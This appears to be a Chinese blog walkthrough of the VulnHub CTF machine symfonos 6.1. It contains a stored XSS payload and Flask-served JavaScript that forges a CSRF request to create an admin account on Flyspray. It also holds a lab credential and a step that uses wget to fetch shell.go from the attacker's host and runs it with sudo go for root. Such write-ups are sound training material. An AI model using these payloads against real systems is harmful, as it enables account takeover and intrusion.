VulnHub symfonos: 6.1 靶机过程

第一次和”紫色皓月“和”3llxkx“两位师傅一块日靶机,无比快乐。

symfonos: 6.1

本地IP:192.168.1.63 & 192.168.1.61
靶机IP:192.168.1.68

端口信息

root@kali:~# nmap 192.168.1.68 -p- --open
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-16 16:31 HKT
Nmap scan report for 192.168.1.68
Host is up (0.00089s latency).
Not shown: 65529 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
3306/tcp open  mysql
5000/tcp open  upnp

80端口目录

/posts/
/flyspray/

3000端口应用:Gitea

flyspray

flyspray的Tasklist有个task,进去可以看到下面评论的提示:I will be checking this page frequently for updates.

搜索flyspray,得知有XSS,在用户名的位置,同时flyspray也支持用户注册,那么流程就是这样:

注册 -> 修改用户名 -> 在提示页留言 -> 执行XSS -> 添加admin权限账户

修改名称:admin"><script/src="http://192.168.1.63/"></script><a/href="

192.168.1.63则是Flask开的HTTP服务,用来响应JS内容。

from flask import Flask, render_template
app = Flask(__name__)

@app.route('/')
def hello():
    return """
        var tok = document.getElementsByName('csrftoken')[0].value;

        var txt = '<form method="POST" id="hacked_form" action="index.php?do=admin&area=newuser">'
            txt += '<input type="hidden" name="action" value="admin.newuser" />'
            txt += '<input type="hidden" name="do" value="admin" />'
            txt += '<input type="hidden" name="area" value="newuser" />'
            txt += '<input type="hidden" name="user_name" value="hacker" />'
            txt += '<input type="hidden" name="csrftoken" value="' + tok + '" />'
            txt += '<input type="hidden" name="user_pass" value="12345678" />'
            txt += '<input type="hidden" name="user_pass2" value="12345678" />'
            txt += '<input type="hidden" name="real_name" value="root" />'
            txt += '<input type="hidden" name="email_address" value="root@root.com" />'
            txt += '<input type="hidden" name="verify_email_address" value="root@root.com" />'
            txt += '<input type="hidden" name="jabber_id" value="" />'
            txt += '<input type="hidden" name="notify_type" value="0" />'
            txt += '<input type="hidden" name="time_zone" value="0" />'
            txt += '<input type="hidden" name="group_in" value="1" />'
            txt += '</form>'

        var d1 = document.getElementById('menu');
        d1.insertAdjacentHTML('afterend', txt);
        document.getElementById("hacked_form").submit();
    """


if __name__ == '__main__':
    app.run(host='192.168.1.63', port=80)

# CSRF将添加一个名称hacker的账户,密码12345678

大概隔1分钟请求一次提示页,Flask日志显示有新的请求后,成功登录hacker账户,获得admin权限。

Task 2,获得账户密码 achilles:h2sBr9gryBunKdF9

Gitea

achilles:h2sBr9gryBunKdF9 登录3000端口Gitea

已知Gitea漏洞,利用之。

获得SHELL

切换已知用户achilles,/usr/local/go/bin/go是nopasswd sudo

接下来利用go脚本执行系统命令,成功获取root权限。

$ cd /tmp
$ wget http://192.168.1.63/shell.go
$ sudo /usr/local/go/bin/go run shell.go

End.

总结:如果你掉进一个兔子洞里出不来,那可能是信息收集不够,重新开始吧。

发表评论

电子邮件地址不会被公开。 必填项已用*标注